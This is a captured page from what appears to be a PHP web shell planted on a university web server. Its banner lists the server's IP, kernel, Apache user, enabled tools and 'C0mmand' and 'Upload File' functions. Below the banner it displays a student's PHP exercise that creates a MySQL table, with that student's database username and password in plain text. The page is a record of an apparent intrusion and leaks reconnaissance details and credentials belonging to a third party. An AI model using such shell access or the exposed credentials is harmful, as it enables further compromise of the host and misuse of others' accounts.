Server IP : 172.16.15.8 / Your IP : 3.129.45.144 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/tafletcher/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- P.169 Create a table with PHP --> <TITLE> Create Table </TITLE> <BODY> <FONT size=4 color=blue> <?php $server = 'localhost'; $user = 'tafletcher'; $pass = 'cs480'; $mydb = 'tafletcher'; $table_name = 'Products'; $connect = mysql_connect($server, $user, $pass); if( !$connect ) { die ("Can't connect to $server using $user"); } else { $SQLcmd = "CREATE TABLE $table_name ( ProductID INT unsigned auto_increment primary key, Product_desc VARCHAR(50), Cost INT, Weight int, Numb int)"; MYSQL_select_db($mydb); if( mysql_query ( $SQLcmd, $connect) ) { print 'Create Table success!'; print "<br>SQLcmd = $SQLcmd"; } else { die( "Table creation failed"); } mysql_close($connect); } ?> </BODY>